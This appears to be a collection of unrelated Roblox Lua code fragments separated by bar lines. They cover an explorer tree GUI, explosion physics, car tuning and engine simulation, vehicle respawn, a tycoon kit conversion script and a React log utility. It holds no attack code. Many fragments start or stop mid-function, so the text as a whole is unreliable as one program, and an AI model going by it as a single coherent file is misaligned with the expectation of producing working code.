local size = listFrame.AbsoluteSize
if pos.x < 0 or pos.x > size.x or pos.y < 0 or pos.y > size.y then return end
local i = math.ceil(pos.y/ENTRY_BOUND) + scrollBar.ScrollIndex
-- Mouse may have made a large step, so interpolate between the
-- last index and the current.
for n = i<last and i or last, i>last and i or last do
local node = TreeList[n]
if node then
if add then
Selection:Add(node.Object)
else
Selection:Remove(node.Object)
end
end
end
last = i
end)
function cancelSelectDrag()
mouseDrag.Parent = nil
conDrag:disconnect()
conUp:disconnect()
function cancelSelectDrag()end
end
conUp = mouseDrag[button]:connect(cancelSelectDrag)
mouseDrag.Parent = GetScreen(listFrame)
end
local function dragReparent(object,dragGhost,clickPos,ghostOffset)
local connDrag
local conUp
local conUp2
local parentIndex = nil
local dragged = false
local parentHighlight = Create('Frame',{
Transparency = 1;
Visible = false;
Create('Frame',{
BorderSizePixel = 0;
BackgroundColor3 = Color3_new(0,0,0);
BackgroundTransparency = 0.1;
Position = UDim2_new(0,0,0,0);
Size = UDim2_new(1,0,0,1);
});
Create('Frame',{
BorderSizePixel = 0;
BackgroundColor3 = Color3_new(0,0,0);
BackgroundTransparency = 0.1;
Position = UDim2_new(1,0,0,0);
Size = UDim2_new(0,1,1,0);
});
Create('Frame',{
BorderSizePixel = 0;
BackgroundColor3 = Color3_new(0,0,0);
BackgroundTransparency = 0.1;
Position = UDim2_new(0,0,1,0);
Size = UDim2_new(1,0,0,1);
});
Create('Frame',{
BorderSizePixel = 0;
BackgroundColor3 = Color3_new(0,0,0);
BackgroundTransparency = 0.1;
Position = UDim2_new(0,0,0,0);
Size = UDim2_new(0,1,1,0);
});
})
SetZIndex(parentHighlight,9)
conDrag = mouseDrag.MouseMoved:connect(function(x,y)
local dragPos = Vector2_new(x,y)
if dragged then
local pos = dragPos - listFrame.AbsolutePosition
local size = listFrame.AbsoluteSize
parentIndex = nil
parentHighlight.Visible = false
if pos.x >= 0 and pos.x <= size.x and pos.y >= 0 and pos.y <= size.y + ENTRY_SIZE*2 then
local i = math.ceil(pos.y/ENTRY_BOUND-2)
local node = TreeList[i + scrollBar.ScrollIndex]
if node and node.Object ~= object and not object:IsAncestorOf(node.Object) then
parentIndex = i
local entry = listEntries[i]
if entry then
parentHighlight.Visible = true
parentHighlight.Position = UDim2_new(0,1,0,entry.AbsolutePosition.y-listFrame.AbsolutePosition.y)
parentHighlight.Size = UDim2_new(0,size.x-4,0,entry.AbsoluteSize.y)
end
end
end
dragGhost.Position = UDim2_new(0,dragPos.x+ghostOffset.x,0,dragPos.y+ghostOffset.y)
elseif (clickPos-dragPos).magnitude > 8 then
dragged = true
SetZIndex(dragGhost,9)
dragGhost.IndentFrame.Transparency = 0.25
dragGhost.IndentFrame.EntryText.TextColor3 = GuiColor.TextSelected
dragGhost.Position = UDim2_new(0,dragPos.x+ghostOffset.x,0,dragPos.y+ghostOffset.y)
dragGhost.Parent = GetScreen(listFrame)
parentHighlight.Parent = listFrame
end
end)
function cancelReparentDrag()
mouseDrag.Parent = nil
conDrag:disconnect()
conUp:disconnect()
conUp2:disconnect()
dragGhost:Destroy()
parentHighlight:Destroy()
function cancelReparentDrag()end
end
local wasSelected = Selection.Selected[object]
if not wasSelected and Option.Selectable then
Selection:Set({object})
end
conUp = mouseDrag.MouseButton1Up:connect(function()
cancelReparentDrag()
if dragged then
if parentIndex then
local parentNode = TreeList[parentIndex + scrollBar.ScrollIndex]
if parentNode then
parentNode.Expanded = true
local parentObj = parentNode.Object
local function parent(a,b)
a.Parent = b
end
if Option.Selectable then
local list = Selection.List
for i = 1,#list do
pcall(parent,list[i],parentObj)
end
else
pcall(parent,object,parentObj)
end
end
end
else
-- do selection click
if wasSelected and Option.Selectable then
Selection:Set({})
end
end
end)
conUp2 = mouseDrag.MouseButton2Down:connect(function()
cancelReparentDrag()
end)
mouseDrag.Parent = GetScreen(listFrame)
end
local entryTemplate = Create('ImageButton',{
Name = "Entry";
Transparency = 1;
AutoButtonColor = false;
Position = UDim2_new(0,0,0,0);
Size = UDim2_new(1,0,0,ENTRY_SIZE);
Create('Frame',{
Name = "IndentFrame";
BackgroundTransparency = 1;
BackgroundColor3 = GuiColor.Selected;
BorderColor3 = GuiColor.BorderSelected;
Position = UDim2_new(0,0,0,0);
Size = UDim2_new(1,0,1,0);
Create(Icon('ImageButton',0),{
Name = "Expand";
AutoButtonColor = false;
Position = UDim2_new(0,-GUI_SIZE,0.5,-GUI_SIZE/2);
Size = UDim2_new(0,GUI_SIZE,0,GUI_SIZE);
});
Create(ClassIcon(nil,0),{
Name = "ExplorerIcon";
Position = UDim2_new(0,2+ENTRY_PADDING,0.5,-GUI_SIZE/2);
Size = UDim2_new(0,GUI_SIZE,0,GUI_SIZE);
});
Create('TextLabel',{
Name = "EntryText";
BackgroundTransparency = 1;
TextColor3 = GuiColor.Text;
TextXAlignment = 'Left';
TextYAlignment = 'Center';
Font = FONT;
FontSize = FONT_SIZE;
Text = "";
Position = UDim2_new(0,2+ENTRY_SIZE+4,0,0);
Size = UDim2_new(1,-2,1,0);
});
});
})
function scrollBar.UpdateCallback(self)
for i = 1,self.VisibleSpace do
local node = TreeList[i + self.ScrollIndex]
if node then
local entry = listEntries[i]
if not entry then
entry = Create(entryTemplate:Clone(),{
Position = UDim2_new(0,2,0,ENTRY_BOUND*(i-1)+2);
Size = UDim2_new(0,nodeWidth,0,ENTRY_SIZE);
ZIndex = listFrame.ZIndex;
})
listEntries[i] = entry
local expand = entry.IndentFrame.Expand
expand.MouseEnter:connect(function()
local node = TreeList[i + self.ScrollIndex]
if #node > 0 then
if node.Object ~= HiddenEntriesMain then
if node.Expanded then
Icon(expand,NODE_EXPANDED_OVER)
else
Icon(expand,NODE_COLLAPSED_OVER)
end
else
if node.HiddenExpanded then
Icon(expand,NODE_EXPANDED_OVER)
else
Icon(expand,NODE_COLLAPSED_OVER)
end
end
end
end)
expand.MouseLeave:connect(function()
pcall(function()
local node = TreeList[i + self.ScrollIndex]
if node.Object == HiddenEntriesMain then
if node.HiddenExpanded then
Icon(expand,NODE_EXPANDED)
else
Icon(expand,NODE_COLLAPSED)
end
return
end
if #node > 0 then
if node.Expanded then
Icon(expand,NODE_EXPANDED)
else
Icon(expand,NODE_COLLAPSED)
end
end
end)
end)
local function radd(o,refresh,parent)
addObject(o,refresh,parent)
local s,children = pcall(function() return o:GetChildren() end, o)
if s then
for i = 1,#children do
radd(children[i],refresh,o)
end
end
end
expand.MouseButton1Down:connect(function()
local node = TreeList[i + self.ScrollIndex]
if #node > 0 then
if node.Object ~= HiddenEntriesMain then
node.Expanded = not node.Expanded
else
if not MuteHiddenItems then
NodeLookup[HiddenGame] = {
Object = HiddenGame;
Parent = nil;
Index = 0;
Expanded = true;
}
else
for i,v in pairs(game:GetChildren()) do
if not childrenGame[v] then
radd(v, true, HiddenGame)
end
end
end
MuteHiddenItems = not MuteHiddenItems
node.HiddenExpanded = not node.HiddenExpanded
end
if node.Object == explorerPanel.Parent and node.Expanded then
CreateCaution("Warning", "Modifying the contents of this Instance could cause erratic or unstable behavior. Proceed with caution.")
end
-- use raw update so the list updates instantly
rawUpdateList()
end
end)
entry.MouseButton1Down:connect(function(x,y)
local node = TreeList[i + self.ScrollIndex]
DestroyRightClick()
if GetAwaitRemote:Invoke() then
bindSetAwaiting:Fire(node.Object)
return
end
if node.Object == HiddenEntriesMain then
return
end
if not HoldingShift then
lastSelectedNode = i + self.ScrollIndex
end
if HoldingShift and not filteringWorkspace() then
if lastSelectedNode then
if i + self.ScrollIndex - lastSelectedNode > 0 then
Selection:StopUpdates()
for i2 = 1, i + self.ScrollIndex - lastSelectedNode do
local newNode = TreeList[lastSelectedNode + i2]
if newNode then
Selection:Add(newNode.Object)
end
end
Selection:ResumeUpdates()
else
Selection:StopUpdates()
for i2 = i + self.ScrollIndex - lastSelectedNode, 1 do
local newNode = TreeList[lastSelectedNode + i2]
if newNode then
Selection:Add(newNode.Object)
end
end
Selection:ResumeUpdates()
end
end
return
end
if HoldingCtrl then
if Selection.Selected[node.Object] then
Selection:Remove(node.Object)
else
Selection:Add(node.Object)
end
return
end
if Option.Modifiable then
local pos = Vector2_new(x,y)
dragReparent(node.Object,entry:Clone(),pos,entry.AbsolutePosition-pos)
elseif Option.Selectable then
if Selection.Selected[node.Object] then
Selection:Set({})
else
Selection:Set({node.Object})
end
dragSelect(i+self.ScrollIndex,true,'MouseButton1Up')
end
end)
local curSelect
entry.MouseButton2Down:connect(function()
if not Option.Selectable then return end
DestroyRightClick()
curSelect = entry
local node = TreeList[i + self.ScrollIndex]
if node.Object == HiddenEntriesMain then
return
end
if GetAwaitRemote:Invoke() then
bindSetAwaiting:Fire(node.Object)
return
end
if not Selection.Selected[node.Object] then
Selection:Set({node.Object})
end
end)
entry.MouseButton2Up:connect(function()
if not Option.Selectable then return end
local node = TreeList[i + self.ScrollIndex]
if node.Object == HiddenEntriesMain then
return
end
if checkMouseInGui(curSelect) then
rightClickMenu(node.Object)
end
end)
entry.Parent = listFrame
end
entry.Visible = true
local object = node.Object
-- update expand icon
if node.Object ~= HiddenEntriesMain then
if #node == 0 then
entry.IndentFrame.Expand.Visible = false
elseif node.Expanded then
Icon(entry.IndentFrame.Expand,NODE_EXPANDED)
entry.IndentFrame.Expand.Visible = true
else
Icon(entry.IndentFrame.Expand,NODE_COLLAPSED)
entry.IndentFrame.Expand.Visible = true
end
else
if node.HiddenExpanded then
Icon(entry.IndentFrame.Expand,NODE_EXPANDED)
entry.IndentFrame.Expand.Visible = true
else
Icon(entry.IndentFrame.Expand,NODE_COLLAPSED)
entry.IndentFrame.Expand.Visible = true
end
end
-- update explorer icon
if object ~= HiddenEntriesMain then
entry.IndentFrame.EntryText.Position = UDim2_new(0,2+ENTRY_SIZE+4,0,0);
entry.IndentFrame.ExplorerIcon.Visible = true
ClassIcon(entry.IndentFrame.ExplorerIcon,ClassIndex[object.ClassName] or 0)
else
entry.IndentFrame.EntryText.Position = UDim2_new(0,0,0,0);
entry.IndentFrame.ExplorerIcon.Visible = false
end
-- update indentation
local w = (node.Depth)*(2+ENTRY_PADDING+GUI_SIZE)
entry.IndentFrame.Position = UDim2_new(0,w,0,0)
entry.IndentFrame.Size = UDim2_new(1,-w,1,0)
-- update hidden entries name
NameHiddenEntries()
-- update name change detection
if nameConnLookup[entry] then
nameConnLookup[entry]:disconnect()
end
local text = entry.IndentFrame.EntryText
text.Text = object.Name
nameConnLookup[entry] = node.Object.Changed:connect(function(p)
if p == 'Name' then
text.Text = object.Name
end
end)
-- update selection
entry.IndentFrame.Transparency = node.Selected and 0 or 1
text.TextColor3 = GuiColor[node.Selected and 'TextSelected' or 'Text']
entry.Size = UDim2_new(0,nodeWidth,0,ENTRY_SIZE)
elseif listEntries[i] then
listEntries[i].Visible = false
end
end
for i = self.VisibleSpace+1,self.TotalSpace do
local entry = listEntries[i]
if entry then
listEntries[i] = nil
entry:Destroy()
end
end
end
function scrollBarH.UpdateCallback(self)
for i = 1,scrollBar.VisibleSpace do
local node = TreeList[i + scrollBar.ScrollIndex]
if node then
local entry = listEntries[i]
if entry then
entry.Position = UDim2_new(0,2 - scrollBarH.ScrollIndex,0,ENTRY_BOUND*(i-1)+2)
end
end
end
end
Connect(listFrame.Changed,function(p)
if p == 'AbsoluteSize' then
rawUpdateSize()
end
end)
local wheelAmount = 6
explorerPanel.MouseWheelForward:connect(function()
if scrollBar.VisibleSpace - 1 > wheelAmount then
scrollBar:ScrollTo(scrollBar.ScrollIndex - wheelAmount)
else
scrollBar:ScrollTo(scrollBar.ScrollIndex - scrollBar.VisibleSpace)
end
end)
explorerPanel.MouseWheelBackward:connect(function()
if scrollBar.VisibleSpace - 1 > wheelAmount then
scrollBar:ScrollTo(scrollBar.ScrollIndex + wheelAmount)
else
scrollBar:ScrollTo(scrollBar.ScrollIndex + scrollBar.VisibleSpace)
end
end)
end
|
-- local Destructible = ExplosionTouchPart:FindFirstChild("RocketDestructible")
-- if Destructible and Destructible.Value and RadiusFromBlast < BLAST_RADIUS then
-- Destructible.Value = false
--
-- RunLocalEffect:FireAllClients("FadePart",ExplosionTouchPart)
-- Debris:AddItem(ExplosionTouchPart,3)
-- end
|
local DeltaPos = ExplosionTouchPart.Position - Position
local Normal = DeltaPos.magnitude == 0 and Vector3.new(0,1,0) or DeltaPos.unit
local PartRadius = ExplosionTouchPart.Size.magnitude / 2
local SurfaceArea = PartRadius * PartRadius
--Set the velocity of the part.
local Impulse = Normal * BLAST_PRESSURE * SurfaceArea * (1 / 4560)
local Fraction = 1
if IsInCharacter then
Fraction = 1 - math.max(0, math.min(1,(RadiusFromBlast - 2) / BLAST_RADIUS))
end
local CurrentVelocity = ExplosionTouchPart.Velocity
local DeltaVelocity = Impulse / ExplosionTouchPart:GetMass()
local BodyVelocity = Instance.new("BodyVelocity")
BodyVelocity.Velocity = CurrentVelocity + DeltaVelocity
BodyVelocity.Parent = ExplosionTouchPart
local ForceNeeded = 196.2 * ExplosionTouchPart:GetMass()
BodyVelocity.MaxForce = Vector3.new(ForceNeeded,ForceNeeded,ForceNeeded) * 10 * Fraction
Debris:AddItem(BodyVelocity,0.2/FORCE_GRANULARITY)
local RotImpulse = Impulse * 0.5 * RadiusFromBlast
local CurrentRotVelocity = ExplosionTouchPart.RotVelocity
local MomentOfInertia = (2 * ExplosionTouchPart:GetMass() * RadiusFromBlast * RadiusFromBlast/5)
local DeltaRotVelocity = RotImpulse / MomentOfInertia
local AngularVelocity = Instance.new("BodyAngularVelocity")
local TorqueNeeded = 20 * MomentOfInertia
AngularVelocity.MaxTorque = Vector3.new(TorqueNeeded,TorqueNeeded,TorqueNeeded) * 10 * Fraction
AngularVelocity.AngularVelocity = CurrentRotVelocity + DeltaRotVelocity
AngularVelocity.Parent = ExplosionTouchPart
Debris:AddItem(AngularVelocity,0.2/FORCE_GRANULARITY)
end
end
--Create the explosion.
local Explosion = Instance.new("Explosion")
Explosion.BlastPressure = 0
Explosion.BlastRadius = BLAST_RADIUS
Explosion.Position = Position
Explosion.Hit:Connect(OnExplosionHit)
Explosion.Parent = game.Workspace
return Explosion
end
return ExplosionCreator
|
--[[[Default Controls]]
|
--Peripheral Deadzones
Tune.Peripherals = {
MSteerWidth = 67 , -- Mouse steering control width (0 - 100% of screen width)
MSteerDZone = 10 , -- Mouse steering deadzone (0 - 100%)
ControlLDZone = 5 , -- Controller steering L-deadzone (0 - 100%)
ControlRDZone = 5 , -- Controller steering R-deadzone (0 - 100%)
}
--Control Mapping
Tune.Controls = {
--Keyboard Controls
--Mode Toggles
ToggleTCS = Enum.KeyCode.T ,
ToggleABS = Enum.KeyCode.Y ,
ToggleTransMode = Enum.KeyCode.M ,
ToggleMouseDrive = Enum.KeyCode.R ,
--Primary Controls
Throttle = Enum.KeyCode.Up ,
Brake = Enum.KeyCode.Down ,
SteerLeft = Enum.KeyCode.Left ,
SteerRight = Enum.KeyCode.Right ,
--Secondary Controls
Throttle2 = Enum.KeyCode.W ,
Brake2 = Enum.KeyCode.S ,
SteerLeft2 = Enum.KeyCode.A ,
SteerRight2 = Enum.KeyCode.D ,
--Manual Transmission
ShiftUp = Enum.KeyCode.E ,
ShiftDown = Enum.KeyCode.Q ,
Clutch = Enum.KeyCode.LeftShift ,
--Handbrake
PBrake = Enum.KeyCode.P ,
--Mouse Controls
MouseThrottle = Enum.UserInputType.MouseButton1 ,
MouseBrake = Enum.UserInputType.MouseButton2 ,
MouseClutch = Enum.KeyCode.W ,
MouseShiftUp = Enum.KeyCode.E ,
MouseShiftDown = Enum.KeyCode.Q ,
MousePBrake = Enum.KeyCode.P ,
--Controller Mapping
ContlrThrottle = Enum.KeyCode.ButtonR2 ,
ContlrBrake = Enum.KeyCode.ButtonL2 ,
ContlrSteer = Enum.KeyCode.Thumbstick1 ,
ContlrShiftUp = Enum.KeyCode.ButtonY ,
ContlrShiftDown = Enum.KeyCode.ButtonX ,
ContlrClutch = Enum.KeyCode.ButtonR1 ,
ContlrPBrake = Enum.KeyCode.ButtonL1 ,
ContlrToggleTMode = Enum.KeyCode.DPadUp ,
ContlrToggleTCS = Enum.KeyCode.DPadDown ,
ContlrToggleABS = Enum.KeyCode.DPadRight ,
}
|
--[[local vehiclePart = vehicle.Undercarriage
local newForceField = Instance.new("Part")
newForceField.Name = "CarForceField"
newForceField.CanCollide = false
newForceField.Anchored = false
newForceField.Transparency = .5
newForceField.formFactor = "Custom"
newForceField.Size = vehicle:GetModelSize()*Vector3.new(.5, 1, .5)
newForceField.CFrame = vehicle:GetModelCFrame()
newForceField.Parent = vehicle
local newWeld = Instance.new("Weld")
newWeld.Part0 = newForceField
newWeld.Part1 = vehiclePart
newWeld.C1 = vehiclePart.CFrame:inverse() * (vehicle:GetModelCFrame() - vehicle:GetModelCFrame().p + vehiclePart.CFrame.p)
newWeld.Parent = vehiclePart
]]
|
--
function vAbs(vect)
return Vector3.new(math.abs(vect.X), math.abs(vect.Y), math.abs(vect.Z))
end
function clearToRespawn(modelToRespawn)
if modelToRespawn:IsA("Model") then
local diag = .9*vAbs(modelToRespawn:GetModelCFrame():vectorToWorldSpace(modelToRespawn:GetModelSize()/2))
return #game.Workspace:FindPartsInRegion3(Region3.new(modelToRespawn:GetModelCFrame().p - diag, modelToRespawn:GetModelCFrame().p + diag), nil, 100) < 1
elseif modelToRespawn:IsA("BasePart") then
local diag = .9*vAbs(modelToRespawn.CFrame:vectorToWorldSpace(modelToRespawn.Size/2))
return #game.Workspace:FindPartsInRegion3(Region3.new(modelToRespawn.CFrame.p - diag, modelToRespawn.CFrame.p + diag), nil, 100) < 1
else
return true
end
end
function respawnIt(toRespawn, oldParent)
wait(timeToRespawn)
while not (clearToRespawn(toRespawn)) do wait() end
-- we want things with vehicle seats to NOT be welded to ground
if not toRespawn:FindFirstChild("VehicleSeat") then
game.JointsService:SetJoinAfterMoveInstance(toRespawn)
end
toRespawn.Parent = oldParent
toRespawn:MakeJoints()
if not toRespawn:FindFirstChild("VehicleSeat") then
game.JointsService:CreateJoinAfterMoveJoints()
end
end
function isSmallerThanVehicle(robloxModel)
if robloxModel == vehicle then return false end -- check ourselves, before we wreck ourselves
if robloxModel:IsA("BasePart") then
return robloxModel.Size.magnitude + 4 < vehicleSize
elseif robloxModel:IsA("Model") then
return robloxModel:GetModelSize().magnitude + 4 < vehicleSize
else
return false
end
end
function onTouch(hit, direction)
|
--CHANGE THE NAME, COPY ALL BELOW, AND PAST INTO COMMAND BAR
|
local TycoonName = "TEST TYCOON"
if game.Workspace:FindFirstChild(TycoonName) then
local s = nil
local bTycoon = game.Workspace:FindFirstChild(TycoonName)
local zTycoon = game.Workspace:FindFirstChild("Zednov's Tycoon Kit")
local new_Collector = zTycoon['READ ME'].Script:Clone()
local Gate = zTycoon.Tycoons:GetChildren()[1].Entrance['Touch to claim!'].GateControl:Clone()
if zTycoon then
for i,v in pairs(zTycoon.Tycoons:GetChildren()) do --Wipe current tycoon 'demo'
if v then
s = v.PurchaseHandler:Clone()
v:Destroy()
end
end
-- Now make it compatiable
if s ~= nil then
for i,v in pairs(bTycoon.Tycoons:GetChildren()) do
local New_Tycoon = v:Clone()
New_Tycoon:FindFirstChild('PurchaseHandler'):Destroy()
s:Clone().Parent = New_Tycoon
local Team_C = Instance.new('BrickColorValue',New_Tycoon)
Team_C.Value = BrickColor.new(tostring(v.Name))
Team_C.Name = "TeamColor"
New_Tycoon.Name = v.TeamName.Value
New_Tycoon.Cash.Name = "CurrencyToCollect"
New_Tycoon.Parent = zTycoon.Tycoons
New_Tycoon.TeamName:Destroy()
v:Destroy()
New_Tycoon.Essentials:FindFirstChild('Cash to collect: $0').NameUpdater:Destroy()
local n = new_Collector:Clone()
n.Parent = New_Tycoon.Essentials:FindFirstChild('Cash to collect: $0')
n.Disabled = false
New_Tycoon.Gate['Touch to claim ownership!'].GateControl:Destroy()
local g = Gate:Clone()
g.Parent = New_Tycoon.Gate['Touch to claim ownership!']
end
else
error("Please don't tamper with script names or this won't work!")
end
else
error("Please don't change the name of our tycoon kit or it won't work!")
end
bTycoon:Destroy()
Gate:Destroy()
new_Collector:Destroy()
print('Transfer complete! :)')
else
error("Check if you spelt the kit's name wrong!")
end
|
-- ROBLOX deviation: console.log's name property is checked in SchedulerHostConfig.
-- But since Lua functions don't carry properties, we export this and import it there
-- for a reference equality.
|
exports.disabledLog = disabledLog
exports.disableLogs = function()
if _G.__DEV__ then
if disabledDepth == 0 then
prevLog = console.log
prevInfo = console.info
prevWarn = console.warn
prevError = console.error
prevGroup = console.group
prevGroupCollapsed = console.groupCollapsed
prevGroupEnd = console.groupEnd
console.info = disabledLog
console.log = disabledLog
console.warn = disabledLog
console.error = disabledLog
console.group = disabledLog
console.groupCollapsed = disabledLog
console.groupEnd = disabledLog
end
disabledDepth = disabledDepth + 1
end
end
exports.reenableLogs = function()
if _G.__DEV__ then
disabledDepth = disabledDepth - 1
if disabledDepth == 0 then
console.log = prevLog
console.info = prevInfo
console.warn = prevWarn
console.error = prevError
console.group = prevGroup
console.groupCollapsed = prevGroupCollapsed
console.groupEnd = prevGroupEnd
end
if disabledDepth < 0 then
console.error(
"disabledDepth fell below zero. "
.. "This is a bug in React. Please file an issue."
)
end
end
end
return exports
|
----------------------------------------------------------------------------------------------------------------
|
function GunUp()
Holstered = false
Tool.Enabled = true
torso = Tool.Parent:FindFirstChild("Torso")
if torso ~= nil then
torso.weld1.C1 = CFrame.new(-.1, 1.25, .6) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(10), math.rad(-90))
torso.weld2.C1 = CFrame.new(-1, -0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0)
end
end
function GunDown()
Holstered = true
Tool.Enabled = false -- You don't want to be shooting if your not aiming
torso = Tool.Parent:FindFirstChild("Torso")
if torso ~= nil then
torso.weld1.C1 = CFrame.new(-.1, 1.25, .6) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(-10), math.rad(-90))
torso.weld2.C1 = CFrame.new(-1, -0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-70), math.rad(-15), 0)
end
end
|
--[[ Public API ]]
|
--
function ShiftLockController:IsShiftLocked()
return IsShiftLockMode and IsShiftLocked
end
|
--[[Engine]]
|
local fFD = _Tune.FinalDrive*_Tune.FDMult
local fFDr = fFD*30/math.pi
local cGrav = workspace.Gravity*_Tune.InclineComp/32.2
local wDRatio = wDia*math.pi/60
local cfWRot = CFrame.Angles(math.pi/2,-math.pi/2,0)
local cfYRot = CFrame.Angles(0,math.pi,0)
if _Tune.Aspiration == "Single" or _Tune.Aspiration == "Super" then
_TCount = 1
_TPsi = _Tune.Boost
elseif _Tune.Aspiration == "Double" then
_TCount = 2
_TPsi = _Tune.Boost*2
end
--Horsepower Curve
local HP=_Tune.Horsepower/100
local HP_B=((_Tune.Horsepower*((_TPsi)*(_Tune.CompressRatio/10))/7.5)/2)/100
local Peak=_Tune.PeakRPM/1000
local Sharpness=_Tune.PeakSharpness
local CurveMult=_Tune.CurveMult
local EQ=_Tune.EqPoint/1000
--Horsepower Curve
function curveHP(RPM)
RPM=RPM/1000
return ((-(RPM-Peak)^2)*math.min(HP/(Peak^2),CurveMult^(Peak/HP))+HP)*(RPM-((RPM^Sharpness)/(Sharpness*Peak^(Sharpness-1))))
end
local PeakCurveHP = curveHP(_Tune.PeakRPM)
function curvePSI(RPM)
RPM=RPM/1000
return ((-(RPM-Peak)^2)*math.min(HP_B/(Peak^2),CurveMult^(Peak/HP_B))+HP_B)*(RPM-((RPM^Sharpness)/(Sharpness*Peak^(Sharpness-1))))
end
local PeakCurvePSI = curvePSI(_Tune.PeakRPM)
--Plot Current Horsepower
function GetCurve(x,gear)
local hp=(math.max(curveHP(x)/(PeakCurveHP/HP),0))*100
return hp,((hp*(EQ/x))*_Tune.Ratios[gear+2]*fFD*hpScaling)*1000
end
--Plot Current Boost (addition to Horsepower)
function GetPsiCurve(x,gear)
local hp=(math.max(curvePSI(x)/(PeakCurvePSI/HP_B),0))*100
return hp,((hp*(EQ/x))*_Tune.Ratios[gear+2]*fFD*hpScaling)*1000
end
--Output Cache
local HPCache = {}
local PSICache = {}
for gear,ratio in pairs(_Tune.Ratios) do
local nhpPlot = {}
local bhpPlot = {}
for rpm = math.floor(_Tune.IdleRPM/100),math.ceil((_Tune.Redline+100)/100) do
local ntqPlot = {}
local btqPlot = {}
ntqPlot.Horsepower,ntqPlot.Torque = GetCurve(rpm*100,gear-2)
btqPlot.Horsepower,btqPlot.Torque = GetPsiCurve(rpm*100,gear-2)
hp1,tq1 = GetCurve((rpm+1)*100,gear-2)
hp2,tq2 = GetPsiCurve((rpm+1)*100,gear-2)
ntqPlot.HpSlope = (hp1 - ntqPlot.Horsepower)
btqPlot.HpSlope = (hp2 - btqPlot.Horsepower)
ntqPlot.TqSlope = (tq1 - ntqPlot.Torque)
btqPlot.TqSlope = (tq2 - btqPlot.Torque)
nhpPlot[rpm] = ntqPlot
bhpPlot[rpm] = btqPlot
end
table.insert(HPCache,nhpPlot)
table.insert(PSICache,bhpPlot)
end
--Powertrain
wait()
--Automatic Transmission
function Auto()
local maxSpin=0
for i,v in pairs(Drive) do if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end end
if _IsOn then
_ClutchOn = true
if _CGear >= 1 then
if _GBrake > 0 and car.DriveSeat.Velocity.Magnitude < 5 then
_CGear = 1
else
if _Tune.AutoShiftMode == "RPM" then
if _RPM>(_Tune.PeakRPM+_Tune.AutoUpThresh) then
if (_CGear ~= 0) and (_CGear ~= #_Tune.Ratios-2) then
_GThrotShift = 0
wait(_Tune.ShiftTime)
_GThrotShift = 1
end
_CGear=math.min(_CGear+1,#_Tune.Ratios-2)
elseif math.max(math.min(maxSpin*_Tune.Ratios[_CGear+1]*fFDr,_Tune.Redline+100),_Tune.IdleRPM)<(_Tune.PeakRPM-_Tune.AutoDownThresh) then
if _CGear ~= 1 then
_GThrotShift = 0
wait(_Tune.ShiftTime/2)
_GThrotShift = 1
end
_CGear=math.max(_CGear-1,1)
end
else
if car.DriveSeat.Velocity.Magnitude > math.ceil(wDRatio*(_Tune.PeakRPM+_Tune.AutoUpThresh)/_Tune.Ratios[_CGear+2]/fFD) then
if (_CGear ~= 0) and (_CGear ~= #_Tune.Ratios-2) then
_GThrotShift = 0
wait(_Tune.ShiftTime)
_GThrotShift = 1
end
_CGear=math.min(_CGear+1,#_Tune.Ratios-2)
elseif car.DriveSeat.Velocity.Magnitude < math.ceil(wDRatio*(_Tune.PeakRPM-_Tune.AutoDownThresh)/_Tune.Ratios[_CGear+1]/fFD) then
if _CGear ~= 1 then
_GThrotShift = 0
wait(_Tune.ShiftTime/2)
_GThrotShift = 1
end
_CGear=math.max(_CGear-1,1)
end
end
end
end
end
end
local tqTCS = 1
local sthrot = 0
--Apply Power
function Engine()
--Neutral Gear
if _CGear==0 then _ClutchOn = false end
--Car Is Off
local revMin = _Tune.IdleRPM
if not _IsOn then
revMin = 0
_CGear = 0
_ClutchOn = false
_GThrot = _Tune.IdleThrottle/100
end
--Determine RPM
local maxSpin=0
local maxCount=0
for i,v in pairs(Drive) do maxSpin = maxSpin + v.RotVelocity.Magnitude maxCount = maxCount + 1 end
maxSpin=maxSpin/maxCount
if _ClutchOn then
local aRPM = math.max(math.min(maxSpin*_Tune.Ratios[_CGear+2]*fFDr,_Tune.Redline+100),revMin)
local clutchP = math.min(math.abs(aRPM-_RPM)/_Tune.ClutchTol,.9)
_RPM = _RPM*clutchP + aRPM*(1-clutchP)
else
if _GThrot-(_Tune.IdleThrottle/100)>0 then
if _RPM>_Tune.Redline then
_RPM = _RPM-_Tune.RevBounce*2
else
_RPM = math.min(_RPM+_Tune.RevAccel*_GThrot,_Tune.Redline+100)
end
else
_RPM = math.max(_RPM-_Tune.RevDecay,revMin)
end
end
--Rev Limiter
_spLimit = (_Tune.Redline+100)/(fFDr*_Tune.Ratios[_CGear+2])
if _RPM>_Tune.Redline then
if _CGear<#_Tune.Ratios-2 then
_RPM = _RPM-_Tune.RevBounce
else
_RPM = _RPM-_Tune.RevBounce*.5
end
end
local TPsi = _TPsi/_TCount
if _Tune.Aspiration ~= "Super" then
_Boost = _Boost + ((((((_HP*(_GThrot*1.2)/_Tune.Horsepower)/8)-(((_Boost/TPsi*(TPsi/15)))))*((8/_Tune.TurboSize)*2))/TPsi)*15)
if _Boost < 0.05 then _Boost = 0.05 elseif _Boost > 2 then _Boost = 2 end
else
if _GThrot>sthrot then
sthrot=math.min(_GThrot,sthrot+_Tune.Sensitivity)
elseif _GThrot<sthrot then
sthrot=math.max(_GThrot,sthrot-_Tune.Sensitivity)
end
_Boost = (_RPM/_Tune.Redline)*(.5+(1.5*sthrot))
end
local cTq = HPCache[_CGear+2][math.floor(math.min(_Tune.Redline,math.max(_Tune.IdleRPM,_RPM))/100)]
_NH = cTq.Horsepower+(cTq.HpSlope*((_RPM-math.floor(_RPM/100))/1000)%1)
_NT = cTq.Torque+(cTq.TqSlope*((_RPM-math.floor(_RPM/100))/1000)%1)
if _Tune.Aspiration ~= "Natural" then
local bTq = PSICache[_CGear+2][math.floor(math.min(_Tune.Redline,math.max(_Tune.IdleRPM,_RPM))/100)]
_BH = bTq.Horsepower+(bTq.HpSlope*((_RPM-math.floor(_RPM/100))/1000)%1)
_BT = bTq.Torque+(bTq.TqSlope*((_RPM-math.floor(_RPM/100))/1000)%1)
_HP = _NH + (_BH*(_Boost/2))
_OutTorque = _NT + (_BT*(_Boost/2))
else
_HP = _NH
_OutTorque = _NT
end
local iComp =(car.DriveSeat.CFrame.lookVector.y)*cGrav
if _CGear==-1 then iComp=-iComp end
